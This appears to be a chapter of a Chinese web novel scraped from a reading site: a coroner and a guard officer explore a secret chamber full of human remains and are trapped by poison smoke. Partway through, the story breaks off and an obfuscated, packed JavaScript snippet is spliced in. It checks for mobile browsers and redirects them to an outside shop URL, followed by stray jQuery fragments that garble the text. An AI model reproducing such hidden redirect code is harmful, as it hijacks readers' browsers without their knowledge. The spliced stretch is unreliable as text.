爱奇文学 > 玄幻小说 > 我靠验尸风靡全京城 > 30.亲吻
    “大人!叶素!”顾安听见声音冲过来,刚好看见叶素消失在黑窟窿里、姜昭野的飞鱼服衣角一闪跟着没入黑暗的画面。


    他脑子一热,拔腿就要跟着往下跳,被林樾一把拽住了后领。


    “你下去干嘛。”


    “你没看到大人和叶素都下去了吗!我去看看!”顾安扯着嗓子喊道。


    “你的武功有大人好吗?”林樾叹了口气,“放心吧,有大人在,叶素不会有事的。”


    顾安探头往黑窟窿里望了一眼,嘴里念叨了一句“可别有蛇”。


    叶素以为自己要来一个自由落地,结果被人从半空中拦腰抱住,一股干燥的、带着淡淡皂角气的味道扑面而来。


    稳稳落地后,姜昭野从怀里取出火折子,一手举着火折,一手扶着她站稳:“没事吧。”


    叶素轻拍胸口,喘了口气:“大人,还好有你,不然我就要跟地面来个亲密接触了。”


    她仰头看了看头顶那个已经变成一小方光斑的窟窿,又转头看了看四周:“这是哪里。”


    姜昭野将火折子往前一送,火光照亮了方寸之地,两人站在一条狭窄的密道里,四壁皆用青砖砌成,砖缝严密,地面铺着平整的石板,密道朝黑暗深处延伸,看不见尽头。


    顾安的声音从头顶的窟窿传下来,被密道的砖壁闷得发嗡:“大人!叶素!你俩没事吧?”


    “我们没事!”叶素仰头回了一句,“你帮我把尸体看好,别让人碰!”


    顾安回头看了一眼躺在亭子石砖上那具穿着嫁衣的女尸,后背一阵发麻,转头对林樾说:“咱俩换个位置,你来守尸体,我去盯着搜查。”


    林樾扫他一眼,没有动。


    顾安见林樾没有反应,一脸正色道:“我认真的,你看这密道口总得有个人守着吧,我守密道口——”


    “你守尸体。”林樾淡然道。


    顾安嘴唇嗫嚅了几下,最终还是站在原地没挪步,只把后背对着那具女尸,假装自己在看风景。


    密道里,姜昭野举着火折子往前探了几步,火光扫过砖壁,映出一道几乎与墙面齐平的暗门,他把手按在门缝边缘,指尖沿着砖缝摸了一圈,找到一个凹槽。


    “站在我身后,跟紧。”


    叶素伸手抓住他的衣袖,姜昭野垂眸看向那只紧攥着他袖口的手,没有作声,将暗门轻轻推开一条缝。


    姜昭野的手按在刀柄上,目光快速扫了一圈,他的肩膀挡住了叶素的视线,叶素等了片刻,忍不住压低声音:“大人,怎么不走了?”


    姜昭野没有回答,叶素从他肩膀后面探出头,门推开一条缝,里头没有想象中的黑暗。


    相反,里面灯火通明。


    密室比外面那座亭子大得多,四面石壁,没有窗户。正中摆着一张石床,床面微微凹陷,边缘刻着一圈细密的凹槽,像某种精密的导流渠。


    那些凹槽从床面四角汇聚到床尾,延伸至地面,最终通到一只半人高的大缸里。


    叶素走近了一步,发现凹槽内壁是深褐色的,干涸的血垢一层叠一层,有些地方甚至结了厚厚的痂壳,像河流干涸后的河床。


    石床表面也不干净,大片大片暗红色的渍迹渗进石纹里,怎么都擦不干净。


    旁边有一排铁架,上面整整齐齐地挂着工具:大大小小的刀,刃口磨得发亮;几把细长的骨锯;还有铜制的钩子和钳子,在烛火下泛着冷光,每一件都洗得很干净。


    叶素的目光越过铁架,落在墙角。


    那里堆了一堆土,非常小的一堆,叶素蹲下来,顺手摸了摸。


    土已经有些硬了,堆在这里可能有几个月的时间,她伸手捏了捏,放在眼前仔细的看,神色凝重,捏在手里的土并没有潮湿的感觉,可她总觉得这土里似乎有什么东西。


    叶素转头看向姜昭野:“大人,你身上有刀吗?借我用一下?”


    姜昭野将身侧的绣春刀取下来递给她,叶素伸手接过,沉甸甸的,刀鞘上镶着银饰,刀刃未出鞘便透着一股肃杀之气。


    她低头看了一眼手里的刀,又抬头看看姜昭野。


    “……大人,这是绣春刀。”


    “嗯。”


    “北镇抚司的绣春刀,用来刨土?”


    姜昭野面不改色:“能用就行。”


    叶素沉默了一瞬,拎着那把价值不菲的官刀蹲下去。


    这事要是让锦衣卫同僚知道了,怕是要追着她骂三条街。


    她把刀鞘解了,刀刃当铁锹,在土里挖了几下,又凑过去看。


    “大人,你看我在土里挖出了什么。”叶素让开了身体。


    里面埋着一小堆白骨,不大,却很扎眼——指骨、跖骨、几截细细的尺骨,有些还连着干枯的肌腱,像被随手丢弃的废料。


    叶素仔细看了看那堆白骨。


    “不是完整的尸骨。”她用手指比了比,“指骨和跖骨还在,但长骨缺失,有人刻意挑拣过。只留下了小块骨头,大的被拿走了。”


    姜昭野站在她身后,目光落在那只青瓷大瓮上:“拿走做什么?”


    “不好说。”叶素站起来,拍了拍膝上的土,“可能是取髓,也可能是熬胶,或者……别的什么东西。”


    她转身走向那只青瓷大瓮,瓮口用油布扎紧,绳子勒得很深,打了好几个死结。叶素用刀挑断绳子,掀开油布——


    一股刺鼻的药味扑面而来,她屏住呼吸,低头往里看。


    瓮里注满了淡黄色的药液,澄澈透亮,像某种高浓度的药酒。液面下沉着几段被锯断的人骨,股骨、胫骨、桡骨,切口整齐,骨端被磨得光滑圆润,像被处理过的药材。


    大大小小,有长有短,码放得整整齐齐,骨头上没有残留的血迹,洗得很干净。


    旁边还浮着几团黑乎乎的东西,叶素凑近了些,看清之后,呼吸微微一滞。


    是头发。


    被剪断的、成束的头发,缠成一把一把,每一把都用红绳扎着,泡在药液里微微浮动,有的发色乌黑,有的已经发灰发白,长短不一,像是从不同的人头上取下来的。


    姜昭野走到她身侧,低头看向瓮里,眉头拧起来:“这是……药?”


    “古籍里有。”叶素的声音发紧,“人的骨、发、指甲,皆可入药,但正经医家不会用这个。有人在这里取骨、剃发,拿活人身上的东西做药材。”


    叶素把油布慢慢盖了回去,“但看这瓮里存货的量,死的,恐怕不止一个。”


    “大人。”她的声音很轻,“这可能是一起连环案。”


    姜昭野看着她。


    密室里安静得只剩下烛火偶尔发出的细微噼啪声。


    “嘀嗒、嘀嗒”


    轻微的、有节奏的滴答声,从石床的方向传过来。


    “大人,你听。”


    姜昭野侧耳听了一瞬:“我们在亭子里听见的就是这个。”


    叶素走过去,弯下腰,看见石床底部有一根细细的铜管,从凹槽的汇集处延伸出来,一直通到那只大缸里。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552179|203130||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    铜管中间有一个精巧的铜制水轮,上面连着一根细细的发条,已经走到了尽头,正颤巍巍地一格一格往前蹭、,每蹭一格,就发出一声清脆的“滴答”。


    姜昭野蹲下身子望着石床下的机关:“这个血顺着凹槽流下来的时候带动这个水轮,现在凹槽早已干涸,但发条还没走完,机关便继续响着。


    最多再过半个时辰,这滴答声就会彻底消失。”


    他站起身:“有人故意留了机关在响,引我们下来。”


    烛火晃了晃,那排铁架上的刀具轻轻碰撞,发出细碎的声响,叶素忽然觉得这间密室的空气比外面冷得多。


    她把绣春刀递还给姜昭野:“大人,你的刀。”


    姜昭野接过来,低头看着刀刃上沾的土,沉默了片刻。


    “……回去擦干净就行。”叶素补了一句,语气难得有些心虚。


    姜昭野没说话,只是把刀收回鞘里,准备往外走。


    “跟上,此地不宜久留。”


    话音未落,身后传来一声沉闷的轰隆声。


    两人同时回头,那扇半掩的石门正在缓缓闭合,沉重的声音在密室里来回撞击,震得烛火剧烈晃动。


    等叶素反应过来的时候,门缝已经窄得连手都伸不进去了。


    又是一声闷响。


    石门彻底合上,严丝合缝,连一丝光都透不进来。


    姜昭野几步跨过去,伸手在石门上推了一把,纹丝不动。他又沿着门缝摸了一圈,找到门边与石壁的接合处,指节叩了两下,声音实而沉,门少说有一尺厚。


    “有机关。”


    叶素转过身,目光飞快地扫了一遍整间密室,心跳已经擂鼓似的撞上来,她深吸一口气,压住那股从脚底往上窜的凉意。


    石门闭合的轰隆声沿着石壁传上去,闷闷地透出地面。顾安猛地抬头,看向脚下那片隐约传来声响的土地。


    “大人?叶素?”林樾大声喊道。


    顾安伸头朝下面看去,地底下再没有任何回应,连脚步声都消失了。


    他脸色一变,蹲下去拍了两下地面,声音实而沉,根本听不清下面发生了什么。


    “出事了。”他站起来,拔刀环顾四周。


    密室之内——


    烟雾弥漫,角落里,正好有一只老鼠窜了过去,老鼠在碰到白烟之后,抽搐了几下,便四脚朝天倒了下去。


    两人都是脸色巨变,叶素心道:不会吧不会吧不会吧,我不能今天就交代在这里了吧!!


    根据穿越过来都是主角的常规定律,我难道不是主角?


    姜昭野用衣袖遮住口鼻,低声喊道:“屏住呼吸。”


    叶素连忙捂住了口鼻。


    毒烟散开的速度很快,在一个密封空间里,这简直无处可躲,无处可避。


    叶素憋得胸口发闷,脑子开始发晕,视线里姜昭野的脸都变得模糊起来。她下意识想推开他换口气,手刚抬起来,却被他一把攥住手腕,按在了墙上。


    姜昭野此时已经将叶素紧紧的抵在了墙上,低头入眼便是她紧皱的眉头和已经泛红的眼眶,就在叶素忍不住要开口的时候,姜昭野低头下去。


    温热的唇堵住了叶素的唇,一口气渡了进去。


    黑暗中看不清他的神色,但若有人此刻还看得见,定会发现他的耳廓早已红透。


    几乎就在同时,火折子灭了。


    四周陷入彻底的黑暗。


    紧接着,一声剧烈的爆炸在密室内炸开——